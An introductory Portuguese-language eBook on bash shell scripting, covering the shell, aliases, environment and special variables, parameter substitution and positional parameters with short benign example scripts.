Apostila De Shell Script

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  • Words: 32,883
  • Pages: 151
   Shell­Scripts                                                                           1

eBook

Shell Scripts Adbeel Goes Filho

Fortaleza – Ceará ­ Brasil

Versão 2006.04.25

Adbeel Goes Filho

   Shell­Scripts                                                                           2

ADBEEL GOES FILHO

Shell Scripts

VIRTVS Fortaleza 2006

Adbeel Goes Filho

   Shell­Scripts                                                                           3

CopyFree (C) 2006 da VIRTVS Engenharia e Informática Ltda Congregamos todos os esforços para fornecer informações de ampla qualidade, contudo, devido ao  dinamismo da área de informática, os autores não assumem responsabilidade pelos resultados e usos  das informações fornecidas.  Recomentamos amplamente aos leitores testar as informações antes de sua efetiva utilização, ao  tempo em que agradecemos antecipadamente por críticas e sugestões prestadas. Copyright (c) 2000,  Adbeel Goes Filho. É garantida a permissão para copiar, distribuir e/ou modificar este documento sob os termos da  GNU Free Documentation License, versão 1.1 ou qualquer outra versão posterior publicada pela  Free Software Foundation; sem obrigatoriedade de Seções Invariantes na abertura e ao final dos  textos. Uma copia da licença deve ser incluída na seção intitulada GNU Free Documentation License. Copyright (c) 2000,  Adbeel Goes Filho. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU  Free   Documentation   License,   Version   1.1   or   any   later   version   published   by   the   Free   Software  Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front­Cover Texts  being LIST, and with the Back­Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License". Este trabalho foi editado e composto eletronicamente utilizando somente ferramentes livres:

Conhecimentos necessários para a leitura deste trabalho: Entendimento   básico   de   sistemas   operacionais,   Comandos   básicos   de   Unix,   Linux,   Solaris,  FreeBSD   ou   outro   sistema   operacional   com   base   Unix,   Linguagem   de   programação,   Edição  eletrônica de textos. Editor Responsável Satis Diagramação e Produção Virtvs VIRTVS Engenharia e Informática Rua Cel. Ribeiro da Silva, 391. CEP 60.325­210. Monte Castelo. Fortaleza – CE. Telefone: +55 (85) 3283­3124 www.virtvs.com.br Adbeel Goes Filho

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SOBRE O AUTOR Adbeel Goes Filho [email protected]     [email protected]      [email protected]  Engenheiro Civil pela Universidade Federal do Ceará (UFC). Especialista em Ciência da Computação pela Universidade Federal do Ceará (UFC). Mestre em Ciência da Computação pela Universidade Federal do Ceará (UFC). Especialista em Matemática Computacional e Otimização de Sistemas. Doutorando em Engenharia Civil – Recursos Hídricos (UFC) Acadêmico de Administração de Empresas pela Universidade Estadual do Ceará  (UECE). Professor do Curso de Graduação em Informática da Universidade de Fortaleza (UNIFOR). Coordenador de Gestão Estratégica do Departamento Nacional de Obras Contra as Secas (DNOCS). Diretor de Engenharia e Informática da VIRTVS Engenharia e Informática Ltda Consultor nas áreas de engenharia civil e informática em empresas e instituições públicas. Consultor na área de custos e acompanhamento de projetos de engenharia civil. Consultor da PERITUS Projetos e Pesquisas Ltda, na área de organização, projetos e informática. Ex­professor dos cursos de Processamento de Dados, Engenharia Civil, Agronomia, Engenharia e Alimentos,  Geologia, Matemática e Estatistica da Universidade Federal do Ceará (UFC). Ex­professor do Curso de Bacharelado em Computação da Faculdade Lourenço Filho. Ex­diretor de engenharia e informática da Rhodes Engenharia e Informática Ltda. Ex­Analista de Sistemas da Fundação Cearense de Meteorologia (FUNCEME).

Adbeel Goes Filho

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AGRADECIMENTOS

VIRTVS Engenharia e Informática Ltda Departamento Nacional de Obras Contra as Secas – DNOCS Universidade Federal do Ceará – UFC Universidade de Fortaleza – UNIFOR Faculdade Lourenço Filho ­ FLF

AGRADECIMENTOS ESPECIAIS

Aos meus pais Elsie Studart e Adbeel Goes de Oliveira Aos meus avós (in memoriam) Angelina Goes de Oliveira e Luis Rodrigues de Oliveira Olga Sales Lopes Gurgel e Benjamim Studart Gurgel A minha esposa Cristine Studart de Santana A meu grande mestre Prof. Dr. Gerardo Valdisio Rodrigues Viana Ao meu orientador acadêmico e de vida Prof. Dr. Clécio Fontelles Thomaz Ao meu orientador e incentivador Prof. Dr. Nilson Campos Aos meus grandes mestres: Antônio Gouveia Neto Afrodisio Durval Gondim Pamplona Amaury Aragão Araújo Genésio Martins de Araújo Suetônio Mota Vicente de Paula Barbosa Vieira A todos os outros que, pelo esquecimento, tipico da natureza humana, deixamos de citar.

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Marcas Registradas Durante este trabalho aparecem várias marcas registradas, contudo, o autor declara estar utilizando  tais nomes apenas para fins editorais, em benefício exclusivo da marca registrada, sem a mínima  intenção de infrigir regras de sua utilização.

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Sumário Capitulo 1. Introdução........................................................................................................................................10 1.O Shell ......................................................................................................................................................10 2.O que são os shell scripts ? ......................................................................................................................12 3.Definições .................................................................................................................................................14 4.Variáveis ...................................................................................................................................................14 5.Formato dos Arquivos de Shell Script .......................................................................................................22 6.Exercicios..................................................................................................................................................34 Capitulo 2. Execução de Programas..................................................................................................................36 7.Execução em foreground e background ....................................................................................................36 8.Redirecionamento......................................................................................................................................37 9.Metacaracteres e Wildcards......................................................................................................................40 10.Sequências de Escape ANSI...................................................................................................................44 11.Códigos de Escape .................................................................................................................................49 12.Conclusões..............................................................................................................................................50 13.Exercicios.................................................................................................................................................51 Capitulo 3. Comandos Condicionais..................................................................................................................52 Capitulo 4. Comandos de Repetição.................................................................................................................62 14.while.........................................................................................................................................................62 15.for ............................................................................................................................................................63 16.until..........................................................................................................................................................66 17.case .........................................................................................................................................................66 18.break e continue......................................................................................................................................67 19.Redirecionando loops..............................................................................................................................69 20.select ......................................................................................................................................................75 21.Funções...................................................................................................................................................78 22.Tornando seu script amigável..................................................................................................................87 23.dialog.......................................................................................................................................................89 Capitulo 5. Comandos Avançados.....................................................................................................................94 1.cut..............................................................................................................................................................94 2.wc..............................................................................................................................................................98 3.tee..............................................................................................................................................................98 4.sort.............................................................................................................................................................99 5.grep..........................................................................................................................................................100 6.sed...........................................................................................................................................................106 Capitulo 6. Bibliografia......................................................................................................................................113 Capitulo 7. Apêndice A – Endereços Internet...................................................................................................114 Capitulo 8. Anexos............................................................................................................................................115 1.Exemplos..................................................................................................................................................116 2.Laboratórios.............................................................................................................................................132 3.Exercicios.................................................................................................................................................140 5.GNU Free Documentation License..........................................................................................................143

Adbeel Goes Filho

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Abreviações Utilizadas *IX

Sistema operacional fundamentado em Unix

LP

Linguagem de programação

SO

Sistema Operacional

SS

Shell­script

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Capitulo 1. Introdução 1. O Shell  Shell,   ou   interpretador   de   comandos,   é   o   programa   disparado   logo   após   o   login  responsável por "pegar" os comandos do usuário, interpretá­los e executar uma determinada ação.  Estas   ações   são  subrotinas  conhecidas   pelo    nome  de  system  calls.  Por  exemplo,  quando   você  escreve no console "ls" e pressiona <enter>, o shell lê essa string e verifica se existe algum comando  interno (embutido no próprio shell, também chamado de intrínseco) com esse nome. Se houver, ele  executa esse comando interno. Caso contrário, ele vai procurar no PATH por algum programa que  tenha   esse   nome.   Se   encontrar,   ele   executa   esse   programa,   caso   contrário,   ele   retorna   uma  mensagem de erro. Para cada terminal ou console aberto, existe um shell sendo executado. Quando  você entra no seu Linux, ele apresenta o login, para digitar o usuário e a senha. Ao digitar um par  usuário/senha   correto,   o   Linux   abre   automaticamente   um  shell,   que   vai   ficar   esperando   seus  comandos.  Funcionando como uma ponte, o Shell é a ligação entre o usuário e o kernel. O kernel  é quem acessa o hardware da máquina, como disco rígido, placa de vídeo e modem. Por exemplo,  para o usuário acessar um arquivo qualquer, toda esta hierarquia é seguida: USUÁRIO ­­> SHELL ­­> KERNEL ­­> HARDWARE  Antes de Começar Se você está acessando o sistema como usuário administrador (root), saia e entre como  um usuário normal. É muito perigoso estudar Shell usando o superusuário, você pode danificar o  sistema com um comando errado.

Veja o exemplo abaixo:  Welcome to Linux Slackware 7.1 kernel 2.2.16.  virtvs login: eu Password: 

Adbeel Goes Filho

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Linux 2.2.16.  Last login: Mon Sep 25 10:41:12 ­0300 2000 on tty1.  No mail.  virtvs@mucuripe:~$  Essa última linha é o shell. Se você digitar o comando "ps", verá que um dos programas rodando é o  seu shell . O comando “ps” lista os processos em : virtvs@mucuripe:~$ ps  PID TTY TIME CMD  164 tty2 00:00:00 bash  213 tty2 00:00:00 ps  virtvs@mucuripe:~$  Ou seja, o shell utilizado nesse console é o bash, que está rodando com PID 164. Existem diversos tipos de  shell: bash, csh, ksh, ash, etc. Por exemplo, o AIX/6000  possui 5 tipos de  shell  disponíveis: korn  shell  (ksh), bourne  shell  (bsh, sh), C  shell  (csh), trusted  shell (tsh), restricted shell (rsh). O default para este sistema é o ksh. O mais utilizado atualmente é o  bash (GNU Bourne­Again SHell). Por isso o tomaremos como referência.  Resumindo essa seção, é importante saber que para cada terminal ou console aberto,  tem­se um shell rodando. Assim, se você tem 3 xterms abertos na interface gráfica, vai ter um shell  para cada xterm. Ao executar o shell script, o shell atual (no qual você deu o comando) abre um novo  shell para executar o script. Assim, os scripts são executados em um shell próprio (a menos que se  especifique, ao chamar o script, para executá­lo no shell atual). Isso será importante quando formos  tratar de variáveis de ambiente. O uso de alias Alias é um novo nome, ou apelido, para o comando. Pode ser usado para abreviar  longas linhas de comando ou fazer com que comandos comportem­se diferente da execução padrão. Sintaxe:

alias [nome[=string]]

Exemplo: alias cls=clear alias ls='ls ­logt' alias dir=ls

Adbeel Goes Filho

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2. O que são os  shell scripts ?  Shell scripts são conjuntos de comandos armazenados em um arquivo texto que são  executados seqüencialmente. Nesta primeira parte, faremos uma introdução sobre o shell, o formato  desses   arquivos   e  variáveis   de   ambiente.   Shell   pode   ser   standard   ou   restrito,   na   verdade   é   um  comando que possibilita gerar textos com lógica de programação. É muito utilizado para montagem  de ambientes de login e abertura de novos processos que indicam nova seção.  Existe vários tipos de shells, a mais utilizada é a sh, que é um link da bash, ou seja /bin/sh é link de /bin/bash  Detalhes importantes Qualquer shell­script criado necessita na "primeira linha" de indicar onde se encontra  o  shell  interpretador, ou seja o destino, que por padrão é  #!/bin/sh, porém pode ter casos de se  localizar em outro diretório. Também devo dizer que todo shellscript deve ter permissão para obter a  execução. Caso não seja informada esta primeira linhx o shell usará a default do sistema. Sintaxe :  $chmod a+x shellscript Para colocar comentários assim como no PERL, utilize o # (chamado culturalmente de sustenido) O Primeiro Shell Script O primeiro Shell Script a fazer será o "sistema" do exemplo anterior, de simplesmente juntar três  comandos num mesmo script. Passos Para Criar um Shell Script 1. Escolher um nome para o script Já temos um nome: sistema.  Use apenas letras minúsculas e evite acentos, símbolos e espaço em branco 2. Escolher o diretório onde colocar o script Para que o script possa ser executado de qualquer parte do sistema, mova­o para um diretório que  esteja no seu PATH. Para ver quais são estes diretórios, use o comando: echo $PATH Se não tiver permissão de mover para um diretório do PATH, deixe­o dentro de seu HOME 3. Criar o arquivo e colocar nele os comandos

Adbeel Goes Filho

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Use o VI ou outro editor de textos de sua preferência para colocar todos os comandos dentro do  arquivo. 4. Colocar a chamada do Shell na primeira linha A primeira linha do script deve ser: #!/bin/bash Para que ao ser executado, o sistema saiba que é o Shell quem irá interpretar estes comandos. 5. Tornar o script um arquivo executável Use o seguinte comando para que seu script seja reconhecido pelo sistema como um comando  executável: chmod +x sistema Problemas na Execução do Script "Comando não encontrado" O Shell não encontrou o seu script. Verifique se o comando que você está chamando tem exatamente o mesmo nome do seu script.  Lembre­se   que   no   Linux   as   letras   maiúsculas   e   minúsculas   são   diferentes,   então   o   comando  "SISTEMA" é diferente do comando "sistema". Caso o nome esteja correto, verifique se ele está no  PATH do sistema. O comando "echo $PATH" mostra quais são os diretórios conhecidos, mova seu script para dentro de um deles,  ou chame­o passando o caminho completo. Se o script estiver no diretório corrente, chame­o com um "./" na frente, assim: $./sistema Caso contrário, especifique o caminho completo desde o diretório raiz: $/tmp/scripts/sistema "Permissão Negada" O Shell encontrou seu script, mas ele não é executável. Use o comando "chmod +x seu­script" para  torná­lo um arquivo executável. "Erro de Sintaxe" O Shell encontrou e executou seu script, porém ele tem erros. Um   script   só   é   executado  quando   sua   sintaxe   está   100%   correta.  Verifique   os   seus   comandos,  geralmente   o   erro   é   algum   IF   ou   aspas   que   foram   abertos   e   não   foram   fechados.   A   própria  mensagem informa o número da linha onde o erro foi encontrado.

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3. Definições  Branco e TAB ou espaço são a mesma coisa. Um nome é uma sequência de letras,  digitos ou  underscores  começando com uma letra ou  underscore. Um parâmetro é um nome um  digito ou algum desses caracteres: *, #, ?, ­, $, e !.  Comando  : é uma sequência de não brancos separados por brancos. A primeira sequência ou  argumento é o argumento 0.  Pipeline  : é uma sequência de um ou mais comandos separados por | (ou, para compatibilidade  histórica, pelo ^). A função de uma pipeline é sincronizar a entrada ou saida padrão para um arquivo  do tipo FIFO.  Uma lista  :   é   uma   sequência   de  pipelines  separadas   por;.   &,   &&,   or   ||,   e   opcionalmente,  terminada por ; ou &.  Exemplos de comandos do shell: for name [ in word ... ] do list done  case word in [ pattern [ | pattern ] ...) list ;; ] ... esac  if list then list [ else list then list ] ... [ else list ] fi  while list do list done 

4. Variáveis  Uma variável é onde o shell armazena determinados valores para utilização posterior.  São áreas de memória onde podem ser armazenados dados. Estes dados podem ser números, textos,  listas   de   arquivos   e   até   mesmo   resultados   da   saida   de   comandos   que   podem   ser   utilizados  posteriormente. Existem duas categorias de variáveis que podemos definir no ambiente Unix: 1. Variáveis locais  – disponíveis somente para o Shell corrente, não sendo acessadas  pelos subprocessos; 2. Variáveis ambientais ou globais – disponíveis tanto para o Shell corrente como para  os   subprocessos   que   venham   a   usar   o   conteúdo   das   variáveis   definidas.   Para  transformar uma variável com escopo global utilize o comando export. Exemplo:   export  Para a visualização das variáveis locais, usa­se o comando  set. Para verificar quais  variáveis estão exportadas, usa­se o comando env.  Toda variável possui um nome e um valor associado a ela, podendo ser este último  vazio. Para listar as variáveis atualmente definidas no  shell  digite o comando  set.  Para se definir  uma variável, basta utilizar a síntaxe (Sem espaço ao redor do =):  nome_da_variável=conteúdo Por exemplo, queremos definir uma variável chamada "cor" com o valor de "azul": Adbeel Goes Filho

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virtvs@mucuripe:~$ cor=azul  Para utilizar o valor de uma variável, é só colocar um sinal de "$" seguido do nome da  variável ­ o shell automaticamente substitui pelo valor da variável: virtvs@mucuripe:~$ echo cor  cor  virtvs@mucuripe:~$ echo $cor  azul  Em  alguns  casos,  é  aconselhável   colocar   o  nome  da   variável  entre   chaves  {}.   Por  exemplo,   se  quero imprimir  "azul­escuro",  como faria  ? Simplesmente  echo $cor­escuro ?  Não  funcionaria, pois o bash vai procurar uma variável de nome "cor­escuro". Portanto,   temos que  colocar o nome "cor" entre chaves para delimitar o nome da variável: virtvs@mucuripe:~$ echo ${cor}­escuro  azul­escuro  Algumas variáveis já são predefinidas no  shell, como o PATH, que, como foi dito  antes, armazena o caminho dos programas. Por exemplo, a minha variável PATH contém: virtvs@mucuripe:~$ echo $PATH  /usr/local/bin:/usr/bin: /bin: /usr/X11R6/bin: /usr/openwin/bin:/usr/games: /opt/kde/bin:  /usr/share/texmf/bin: /etc/script  ou seja, quando digito um comando, como "ls", o shell vai começar a procurá­lo em  /usr/local/bin,   se   não   encontrá­lo,   vai   procurar   em   /usr/bin   e   assim   por   diante.   Repare   que   os  diretórios são separados por um sinal de dois pontos (:). É importante destacar que o  shell  possui várias variáveis pré­definidas, ou seja, que  possuem um significado especial para ele, entre elas: PATH, PWD, PS1, PS2, USER e UID. Assim, quando iniciamos um novo  shell  (ao executar o nosso script), essas variáveis  especiais são "herdadas" do shell pai (o que executou o shell filho). Outras variáveis definidas pelo  usuário, como a variável "cor" não são passadas do shell pai para o filho. Quando o script terminar, o seu shell (shell filho) simplesmente desaparece e com ele  também as suas variáveis, liberando o espaço ocupado na memória.  Para   tornar   uma   variável   imune   à   alteração   ou   deleção,   deve­se   usar   o   comando  readonly   Variáveis somente leitura não podem ser apagadas. Elas somente deixarão de existir no  momento em que for efetuado o logout da sessão de terminal, ou se o programa que criou a variável  for encerrado, exceto no caso de o Shell­script estar rodando na mesma instância de interpretador  que iniciou a execução do script­Shell. readonly nome Para apagar uma variável, use o comando unset: Adbeel Goes Filho

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unset nome Variáveis Array Também conhecidas como vetores. Este tipo de variável serve para armazenar vários  valores sob um nome e um índice. A maneira de declarar variáveis array é a seguinte: NomeDaVariavel[Indice]=Valor sendo que Indice deve ser necessariamente um valor inteiro. Imaginemos que Maria queira armazenar uma lista de suas frutas favoritas em uma variável array.  Para isso ela faria o seguinte: $ FRUTA[0]=goiaba $ FRUTA[1]=manga $ FRUTA[2]=pera $ FRUTA[3]=laranja Supondo que ele colocou esta lista em ordem decrescente de gosto, para sabermos qual é a sua fruta  favorita basta digitarmos: $ echo ${FRUTA[0]}    Se colocarmos $FRUTA[0] e  shell  exibirá goiaba[0] (goiaba concatenado com [0]. Desta forma  nota­se a necessidade  do uso de {} Agora vejamos uma coisa interessante. Se eu declarar uma variável assim: $FRUTA=goiaba e depois quiser fazer um array com o nome FRUTA eu posso fazer assim: $ FRUTA[1]=manga Desta maneira 'goiaba' passa a ser armazenada em FRUTA[0]    Outra coisa interessante é que podemos declarar um array inteiro numa única linha de comando.  Para isto usamos a sintaxe: NomeDoArray=(valor1 valor2 ... valorn) Desta maneira Maria economizaria teclado digitando isto: $FRUTA=(goiaba manga pera laranja) Adbeel Goes Filho

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E para vermos toda a lista de uma vez só, podemos usar o seguinte comando: $ echo ${FRUTA[*]} Existem várias outras especificações para arrays, aqui é só o básico. E se você precisar usar arrays  de maneira mais complexa que isso procure a documentação oficial do bash. Ambiente do usuário O   ambiente   do   usuário   descreve   a   sessão   para   o   sistema,   contendo   as   seguintes  informações, geralmente armazenadas em variáveis de ambiente: . Caminho para o diretório home ­ HOME; . Para onde enviar seu correio eletrônico ­ MAIL; . Fuso horário local ­ TZ; . Com que nome você se logou ­ LOGNAME; . Onde seu shell pesquisará os comandos ­ PATH; . Seu tipo de terminal ­ TERM; . Outras definições necessárias. A variável PS1 Esta é a "Prompt String 1" ou "Primary Prompt String". Nada mais é do que o prompt  que nos mostra que o  shell  está esperando um comando. Quando você muda PS1 você muda a  aparência do prompt. Na minha máquina o padrão é '\u@\h:\w\$ ' onde \u significa o nome do  usuário, \h significa o nome do host e \w é o diretório atual, o que dá a seguinte aparência: meleu@meleu:/usr/doc/Linux­HOWTOs$    Veja algumas possibilidades (Verifique mais no manual do bash):               \d     mostra a data atual               \h     mostra o hostname               \s    o nome do shell               \t     a hora atual (no estilo 24 horas)               \T     a hora atual (no estilo 12 horas)               \u     nome do usuário que está usando o shell               \w     nome do diretório atual (caminho todo)               \W     nome do diretório atual (somente o nome do diretório) Se você estiver afim de ter a impressão de que está no shell do root basta trocar o '$' por '#' Para aprender a fazer um monte de gracinhas com o PS1 dê uma lida no Bash­Prompt­HOWTO  A variável PS2

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Esta é a "Secondary Prompt String". É usada quando um comando usa mais de uma  linha. Por exemplo: $ echo m\ > e\ > l\ > e\ > u meleu $ echo 'm > e > l > e > u' m e l e u Este sinal '> ' (maior­espaço) é o PS2. Você pode usar os mesmos caracteres especiais que o PS1  usa. A variável MAIL Nada mais é do que o arquivo onde são guardados seus emails. Aqui na minha máquina  eu uso o sendmail como servidor de email, portanto: meleu@meleu:~$ echo $MAIL /var/spool/mail/meleu porém se estivesse usando qmail seria: meleu@meleu:~$ echo $MAIL /home/meleu/Mailbox A variável SHLVL Esta variável armazena quantos shells você executou a partir da primeira shell.  Imagine que você está usando o bash e executou o bash de novo, nesta situação o seu  SHLVL vale 2. Veja isto:   $ echo $SHLVL 1 $ bash          # estou executando o bash a partir do bash $ echo $SHLVL Adbeel Goes Filho

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2 $ exit          # saí do segundo bash exit $ echo $SHLVL 1 Quando você inicializa scripts a partir do comando "source" o script é executado no  shell pai, portanto se tiver um "exit" no script você vai executar um logoff. É aí que está a utilidade  da variável SHLVL. Quando você está no shell primário o valor de SHLVL é 1. Então você pode,  através de um "if" por exemplo, executar o "exit" só se SHLVL for diferente de 1. A variável PROMPT_COMMAND Esta é bem interessante. Ela armazena um comando que será executado toda hora que o  prompt é exibido. Veja: $ PROMPT_COMMAND="date +%T" 19:24:13 $ cd 19:24:17 $ ls GNUstep/  bons.txt  pratica/  teste  worldwritable.txt Mail/     hacking/  progs/    txts/ 19:24:19 $ 19:24:32 $  # isso eh uma linha sem nenhum comando 19:24:49 $ Esta variável é útil quando queremos brincar com o prompt, para aprender mais sobre isso leia o  Bash­Prompt­HOWTO (v. 10. Referências). A variável IFS O shell usa esta variável para dividir uma string em palavras separadas. Normalmente  o IFS é um espaço, uma tabulação (Tab) e um caractere nova linha (\n). Desta maneira: isto eh uma string são quatro palavras, pois IFS é um espaço e as palavras estão separadas por espaço. Agora se eu  mudar IFS para um ':' desta maneira: IFS=':' então a string:

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isto:eh:uma:string conterá quatro palavras. Isto é útil para casos como neste exemplo: #!/bin/bash IFS=':' for item in $PATH ; do         echo $item done Se IFS for uma variável nula (vazia), tudo será considerado uma única palavra. Por exemplo: se o  IFS for nulo, toda essa linha será considerada uma única palavra    A variável RANDOM Quando você exibe esta variável ("echo $RANDOM") é exibido um número aleatório  entre 0 e 32767.    #!/bin/bash NUM="98$(echo $RANDOM)0" CONT=$(echo ­n $NUM | wc ­c)    # quantos digitos tem? while [ $CONT ­lt 8 ]; do       # se nao tiver 8 digitos acrescenta 0's         NUM=${NUM}0         CONT=$(echo ­n $NUM | wc ­c) done echo $NUM Outras Variáveis Outras variáveis que são muito usadas: MAILCHECK ; HISTFILE ; HOSTNAME ; LS_OPTIONS ; LS_COLOR ; MANPATH ; SHELL ;  TERM ; USER ; PS3 . Estas   são   as   mais   utilizadas,   porém   existem   muitas   outras.   Para   ver   quais   são   as  variáveis definidas no momento basta entrar com o comando "set". E para ver apenas as variáveis de  ambiente use "env". Olhe a man page do bash na seção "Shell Variables" para mais detalhes. Configurando variáveis do Shell nome=conteúdo Não deve haver espaço antes ou depois do sinal de igual. Isso assegura que a atribuição seja feita  corretamente, não sendo interpretada com o um comando com argumentos separados por espaço. Poderemos tambem acessar substrings em variaveis na forma  Adbeel Goes Filho

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#a=”13/05/2004”  #b=${a:6:4} #echo $b #2004 A variável PATH Armazena a relação de diretório, usada pelo Shell para pesquisa de comandos.  Os  diretórios a serem pesquisados devem estar separados por (:). Lembre­se que os nomes de variáveis  são sensíveis ao contexto, ou seja PATH não é igual a PaTh. Exemplo: export PATH=/usr/bin:/usr/sbin:.

Exercícios 1. Crie um alias limpatela que execute o comando clear. 2. Mude o prompt do sistema para que apareça: <usuário>@$ 3. Coloque o alias criado anteriormente no seu shell. 4. Elabore um shell­script para gerar 10 números aleatórios.

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5. Formato dos Arquivos de Shell Script  A primeira linha de todo shell­script deve começar com algo do tipo (Se não colocar é  assumido o shell padrão):  #!/bin/bash a qual indica com qual shell deverá ser executado o script. Nesse exemplo, estamos falando para o  shell atual executar o script com o shell /bin/bash. Se quisermos que o nosso script seja executado  com o shell csh, devemos colocar nessa primeira linha:  #!/bin/csh Como usaremos o bash como nosso  shell  de referência, todas as linhas dos nossos  scripts começarão com #!/bin/bash  Digamos que você executa freqüentemente o comando:  find / ­name file ­print  que   procura   na   raiz   (/)   por   um   arquivo   de   nome   "file".   Só   que   é   incômodo   ficar  digitando esse comando toda vez que se quer procurar um arquivo. Então vamos criar um  shell  script que contenha esse comando. Vamos chamar esse shell script de "procura". Seu conteúdo fica  assim: #!/bin/bash  find / ­name file ­print  Tornemos agora o arquivo executável: chmod 755 ./procura . Porém, ao tentar executar o nosso  script, teremos um problema. ./procura  Este script irá procurar por um arquivo chamado "file". Como especificar qual arquivo  queremos   procurar   ?   Seria   ideal   executarmos   o   nosso   script   seguido   do   nome   do   arquivo   que  queremos procurar. Por exemplo, queremos saber onde está o arquivo "netscape":  ./procura netscape É ai que entram as "variáveis de parâmetro".  Vamos substituir no nosso script a linha find / ­name file ­print por  find / ­name $1 ­print Quando o bash lê a variável "$1", ele a substitui pelo primeiro parâmetro passado na  linha de comando para o nosso script. Então, se executamos ./procura netscape , a variável "$1" será  substituída por "netscape", como a gente queria. Repare que a variável "$2" conteria o segundo  parâmetro passado para o script e assim por diante. Sendo assim, qualquer comando colocado abaixo de  find  seria executado após ele.  Adbeel Goes Filho

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Esse é o essencial do shell script: poder automatizar a execução de programas e comandos como se  estivessem sendo digitados diretamente no console ou terminal.  1.

Capacidades de substituição do Shell

Uma característica interessanto no shell é a capacidade de podermos manipular textos,  números e até saída de comandos através de variáveis. Existem 3 tipos de substituição no Shell: 1. Substituição de variáveis \ parâmetros; 2. Substituição de comandos; 3. Substituição do til; Substituição de variáveis \ parâmetros Cada variável tem um valor  associado a ela. Quando o nome de uma variável  for  precedido por uma sinal de $ (dólar), o Shell substituirá o parâmetro pelo conteúdo da variável. Este  procedimento é conhecido com Substituição de Variável.  Uma das maneiras de exibir o conteúdo  de uma variável é usando o comando echo. Existem dois tipos de parâmetros: posicional e o de palavra chave. Se o parâmetro é um  digito,   então   é   posicional.   Palavras   chave   (também   conhecida   como   variáveis)   podem   ter   seus  valores escritos.  ${variavel:­string} Se "variavel" não tiver sido definida ou for vazia será substituída por "string". O valor  da variável não é alterado. Veja este exemplo: $ echo ${URL:­"http://unsekurity.virtualave.net"} http://unsekurity.virtualave.net $ echo $URL # observe que URL nao foi alterado ${variavel:=string}  

Se "variavel" não estiver sido definida ou for vazia, receberá "string". Exemplo:

$ echo ${WWW:="http://meleu.da.ru"} http://meleu.da.ru $ echo $WWW http://meleu.da.ru ${variavel:?string} Se "variavel" não estiver sido definido ou for vazia, "string" será escrito em stderr (saída de erro  padrão). O valor da variável não é alterado. Veja um exemplo:

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$ echo ${EDITOR:?"Nenhum editor de texto"} bash: EDITOR: Nenhum editor de texto $ echo $EDITOR ${variavel:+string} Se   "variavel"   estiver   definida,   será   substituída   por   "string"   mas   seu   valor   não   será   alterado.  Exemplo: $ echo ${BROWSER:+"BROWSER definido como \"$BROWSER\""} BROWSER definido como "links" Variáveis Somente­Leitura Como sabemos as variáveis podem ter seu valor modificado pelo usuário, mas se nós  quisermos variáveis que NÃO possam ter seus valores alterados basta declararmos tal variável como  somente­leitura. Para tornar uma variável read­only podemos usar o comando "readonly" ou então  "declare ­r". Veja os exemplos a seguir, ambos possuem o mesmo resultado: $ readonly NOME="Meleu Zord" $ echo $NOME Meleu Zord $ declare ­r NOME="Meleu Zord" $ echo $NOME Meleu Zord $ NOME=Fulano bash: NOME: readonly variable $ echo $NOME Meleu Zord Um bom uso deste tipo de variável é para garantir que variáveis importantes de um  determinado script não possam ser sobregravadas, evitando assim algum resultado crítico. O comando "readonly" quando usado sem parâmetros (ou o comando "declare" apenas  com o parâmetro "­r") nos mostra todas as variáveis declaradas como somente­leitura. No exemplo a  seguir se for usado "declare ­r" no lugar de "readonly" teríamos a mesma saída. $ readonly declare ­ar BASH_VERSINFO='([0]="2" [1]="05" [2]="0" [3]="1" [4]="release" [5]="i386­slackware­linux­gnu")' declare ­ir EUID="1005" declare ­ir PPID="1" Adbeel Goes Filho

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declare ­r SHELLOPTS="braceexpand:hashall:histexpand:monitor:ignoreeof:interactive­comments:emacs" declare ­ir UID="1005" Existem variáveis somente­leitura que são inicializadas pelo shell, como USER, UID.  TODAS as variáveis  readonly  uma vez declaradas não podem ser "unsetadas" ou ter seus valores  modificados. O único meio de apagar as variáveis  readonly  declaradas pelo usuário é saindo do  shell (logout). Parâmetros Podemos passar parâmetros para o shell­script assim como na maioria dos programas.  Os parâmetros são variáveis, digamos, especiais. Para começar elas não obedecem as regras de  nomeclatura de variáveis, pois elas usam números; e também nós não podemos mudar o valor destas  variáveis pelas vias "tradicionais", para mudar o valor destas nós temos que contar com a ajuda do  shift e/ou do set (como veremos adiante). Veja esta relação: $0   

é o nome do shell­script (parâmetro zero);

$1 a $9  

$1 é o primeiro parâmetro, $9 o nono, e assim por diante;

${10}, ${11}..

quando o número do parâmetro possui mais de um dígito é necessário o uso  das chaves;

$* 

todos os parâmetros em uma única string  (exceto o $0)

$@  

todos os parâmetros, cada um em strings separadas (exceto $0)

$# 

número de parâmetros (sem contar com o $0).

$?

valor de retorno do último comando (explicado mais adiante);

$$ 

PID do script;

$!                      

PID do último comando iniciado com &

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Exemplo: #!/bin/bash # # "basename" serve para eliminar o caminho do arquivo e mostrar # somente o último nome dele. Neste caso: parametros.sh echo "Nome do script: `basename $0`" echo "Número total de parâmetros: $#" echo "Primeiro parâmetro: $1" echo "Segundo parâmetro: $2" echo "Décimo quinto parâmetro: ${15}" echo "Todos os parâmetros: $*" $ ./parametros.sh a b c d e f g h i j l m n o p q r s t u v x z Nome do script: parametros.sh Número total de parâmetros: 23 Primeiro parâmetro: a Segundo parâmetro: b Décimo quinto parâmetro: p Todos os parâmetros: a b c d e f g h i j l m n o p q r s t u v x z Se você não entendeu direito a diferença entre o $* e o $@, então dê uma olhada no seguinte script  (se   não   entendê­lo   tudo   bem,   siga   em   frente   e   quando   aprender   sobre   o   "if"   e   o   "for"   leia­o  novamente): Exemplo: #!/bin/bash # Ao executar este script entre alguns parametros. Ex.: # [prompt]$ ./testargs.sh um dois tres quatro if [ ­z "$1" ]; then   echo "Uso: `basename $0` argumento1 argumento2 etc."   exit 1 fi echo echo "Listando argumentos com \"\$*\":" num=1 for arg in "$*"; do   echo "Arg #$num = $arg"   num=$[ $num + 1 ] done Adbeel Goes Filho

